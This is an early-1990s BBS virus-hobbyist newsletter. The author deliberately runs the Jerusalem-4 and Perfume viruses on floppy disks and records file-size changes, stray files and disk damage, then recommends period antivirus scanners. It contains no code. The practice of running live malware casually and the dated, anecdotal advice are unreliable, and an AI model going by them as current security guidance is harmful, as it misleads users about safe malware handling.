|
||
|
||
|
||
The "uncompress" virus
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
According to the person who uploaded it to the BBS where I got it from, this
|
||
|
||
virus infects when you uncompress the file.
|
||
|
||
|
||
|
||
I did not find any indication of this when I uncompressed the file, called
|
||
|
||
NJERU.ARJ. It is a Arkanoid II: Revenge Of Doh crack released by FiRM that
|
||
|
||
is infected with a strain of Jerusalem-4.
|
||
|
||
|
||
|
||
I ran it and Norton Anti Virus (C) Symantec reported the virus in memory.
|
||
|
||
I then proceeded to run EDLIN.EXE (C) Microsoft, SYS.COM (C) Microsoft,
|
||
|
||
COMMAND.COM (C) Microsoft, and ARJ.EXE (C) Robert K. Jung to see what would
|
||
|
||
happen. These are the results:
|
||
|
||
|
||
|
||
Filename: Original Size: Size After Infection:
|
||
|
||
|
||
|
||
EDLIN.EXE 14,121 bytes 15,936 bytes
|
||
|
||
ARJ.EXE 98,968 bytes 100,784 bytes
|
||
|
||
SYS.COM 13,440 bytes 15,253 bytes
|
||
|
||
|
||
|
||
There were no size changes to COMMAND.COM, nor was it infected.
|
||
|
||
|
||
|
||
A file was also created by the virus called "NJVR._OO" that was around 26K
|
||
|
||
but only had one line in it, a error message concerning the media of the disk.
|
||
|
||
Sorry, the exact size of the file NVJR._OO and the exact message are not
|
||
|
||
available. When I attempted to remove the apparent text file using the
|
||
|
||
MS-DOS "DEL" command, it displayed the error message and tried to write to
|
||
|
||
drive A which was write protected at the time. Then it went back to drive B
|
||
|
||
and apparently did damage to the media. I formatted the disk and it was fine
|
||
|
||
afterwards. I have never seen anything like this before, a text file being
|
||
|
||
able to do damage just by attempting to delete it. I guess it wasn't a text
|
||
|
||
file after all but I still have no idea how it managed to corrupt the media
|
||
|
||
on drive B. It also created a file called "N" which was 0 bytes and couldn't
|
||
|
||
be deleted or read by Norton Anti Virus.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
"Suicidal Tendencies" Department.
|
||
|
||
|
||
|
||
(Appropriately named department: I can't believe I am deliberately running
|
||
|
||
a virus on my system)
|
||
|
||
|
||
|
||
This section of the newsletter will cover what happened when I run a virus
|
||
|
||
on a floppy with MSDOS.SYS, IO.SYS, COMMAND.COM, a overlay file, a .EXE file
|
||
|
||
and a few other assorted files on it.
|
||
|
||
|
||
|
||
The virus of the month award goes to: The Perfume Virus
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
What Happened:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Filename: PERFUME.COM Filesize: 806 bytes
|
||
|
||
|
||
|
||
Ok, I placed this file on drive B with the following files:
|
||
|
||
|
||
|
||
Filename: Original Size:
|
||
|
||
----------------------------------
|
||
|
||
COMMAND.COM 47845
|
||
|
||
MSDOS.SYS 37394
|
||
|
||
IO.SYS 33430
|
||
|
||
ANSI.SYS 9029
|
||
|
||
RAMDRIVE.SYS 5873
|
||
|
||
CONFIG.SYS 39
|
||
|
||
UNDELETE.EXE 13924
|
||
|
||
AUTOEXEC.BAT 69
|
||
|
||
15ALL05.DEF 67278
|
||
|
||
MICHEL.DEF 456
|
||
|
||
NSETUP.OVL 876
|
||
|
||
PKUNZIP.EXE 23528
|
||
|
||
----------------------------------
|
||
|
||
|
||
|
||
When I ran PERFUME.COM, it displayed the message: This is a tiny COM program.
|
||
|
||
and it infected COMMAND.COM, enlarging it by 765 bytes to 48,610 bytes.
|
||
|
||
It then proceeded to remove the hidden/system attribute from MSDOS.SYS but
|
||
|
||
didn't infect it and then attempted to infect the disk in drive A, which was
|
||
|
||
write protected at the time. The virus, realizing it couldn't write to drive
|
||
|
||
A, displayed the message:
|
||
|
||
Not ready reading drive A
|
||
|
||
Insert disk with \COMMAND.COM in drive A
|
||
|
||
Press any key to continue . . .
|
||
|
||
|
||
|
||
Now, usually when DOS displays that message, it only needs to READ, and still
|
||
|
||
could've if the disk was write protected, so evidently the virus was
|
||
|
||
trying to outsmart me and fool me into thinking that was a DOS message so it
|
||
|
||
could infect at least one more disk.
|
||
|
||
|
||
|
||
I ran Norton Anti Virus v2.0 (C) Symantec, and it reported Perfume in memory
|
||
|
||
so I re-booted and ran NAV again, this time it didn't report the virus being
|
||
|
||
in memory, but did identify COMMAND.COM and PERFUME.COM as being infected.
|
||
|
||
|
||
|
||
Also:
|
||
|
||
|
||
|
||
In my search for the virus of the month, I came across a file called
|
||
|
||
"ISRAELI.ZIP" which I thought to be a virus called "Israeli" but as it turns
|
||
|
||
out it was a strain of Jerusalem-4, the same as the supposed "Uncompress
|
||
|
||
virus" discussed earlier. The file was called: SORTINFT.EXE and was 3760
|
||
|
||
bytes. When I ran it, it did no damage to the disk or files but NAV did
|
||
|
||
report Jerusalem-4 in memory so I re-booted. I then ran NAV again and when
|
||
|
||
the screen came up saying who the copy of NAV was registered to, it said:
|
||
|
||
|
||
|
||
Registered To:
|
||
|
||
|
||
|
||
Criminal Mi<4D><69>ed <tm>
|
||
|
||
Viriisearch Ne<4E><65>letter, Inc.
|
||
|
||
|
||
|
||
Weird eh? And that's not all, I went to scan memory, and the little window
|
||
|
||
came up that it displays the name of the current virus being scanned for, but
|
||
|
||
that's it, no names were displayed. The program appeared to freeze up, and
|
||
|
||
the disk kept spinning with the drive light on. I re-booted once again and
|
||
|
||
ran NAV again. The weird letters were still there but it scanned memory no
|
||
|
||
problem this time. I exited it from NAV and went to drive B to delete files
|
||
|
||
when I noticed a file called: NRVN E._OO that was 4096 bytes long. Since when
|
||
|
||
does DOS allow spaces in filenames? As a result I couldn't view it or delete
|
||
|
||
it by typing: C>DEL NRVN E._OO so I typed: C>DEL *._OO and that worked. At
|
||
|
||
one point a message also came up on the screen: "File Allocation Table Bad,
|
||
|
||
Drive B". I imagine Jerusalem-4 was responsible for the weird file name and
|
||
|
||
the bad FAT on drive B. I have no idea why NAV was acting funny, possibly
|
||
|
||
a genuine disk error and not due to a virus, since the disk was always write
|
||
|
||
protected.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Well, that's it for "Suicidal Tendencies" for this month!
|
||
|
||
|
||
|
||
I don't recommend trying this on any computer with a hard drive. I do not have
|
||
|
||
a hard drive on the machine I do my experimenting on, so if I am careful and
|
||
|
||
keep the virus isolated to one disk, I have nothing to worry about.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Anti Viral Software:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Here are some nice virus scanners/anti viral programs to check out:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Scan v89b (C) McAfee - available on most Public Domain BBSes
|
||
|
||
|
||
|
||
Clean v89b (C) McAfee - available on most Public Domain BBSes
|
||
|
||
|
||
|
||
Norton Anti Virus v2.0 (C) Symantec
|
||
|
||
|
||
|
||
Central Point Anti Virus (C) Central Point Software
|
||
|
||
|
||
|
||
There are a few others, but I think the above four are the best. I use
|
||
|
||
Norton Anti Virus and Scan.
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Some things you should know:
|
||
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Most people assume that a hard drive in a newly purchased computer, or a new
|
||
|
||
program still in the shrinkwrap are always virus free. Well, this is just not
|
||
|
||
true. The reported cases are few and far in between, but today anything can
|
||
|
||
happen, and it has. A certain computer company shipped out 500 of their
|
||
|
||
computers infected with the Michaelangelo virus, which started the whole
|
||
|
||
panic in the first place. And there have been a few times where someone bought
|
||
|
||
a brand new program, took it home and started using it, not expecting it to
|
||
|
||
be infected with a virus. Well, it was. After all, people create virii and
|
||
|
||
people work at computer companies, and software distributors. So what's
|
||
|
||
stopping a pissed off employee from infecting a computer or a program? Nothing
|
||
|
||
at all.
|
||
|
||
|
||
|
||
How you take this information is entirely up to you.
|
||
|
||
|
||
|
||
If you call a BBS and they say they scan for virii, don't assume that every
|
||
|
||
single file will be virus free, some can sneak through. There is also the
|
||
|
||
possibility of a unknown virus that was not detected by the scanner.
|
||
|
||
|
||
|
||
Last but not least: ALWAYS BACK UP YOUR DATA!!!
|
||
|
||
|
||
|
||
Philosophy Dept:
|
||
|
||
|
||
|
||
"Knowledge is power" - Francis Bacon, 16th Century Philosopher
|
||
|
||
|
||
|
||
"Even if a computer is locked, sealed in concrete, placed in a lead room and
|
||
|
||
surrounded by armed guards, I'd still have my doubts."
|
||
|
||
|
||
|
||
Those aren't the exact words and I forget who said that, but it is quite
|
||
|
||
appropriate and all too true.
|
||
|
||
|
||
|
||
I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated
|
||
|
||
entirely to computer virii.
|
||
|
||
|
||
|
||
|
||
|
||
Until Next Time......Be Careful!!!
|
||
|
||
|
||
|
||
* Criminal Minded <tm> *
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
|
||
Downloaded From P-80 International Information Systems 304-744-2253
|
||
|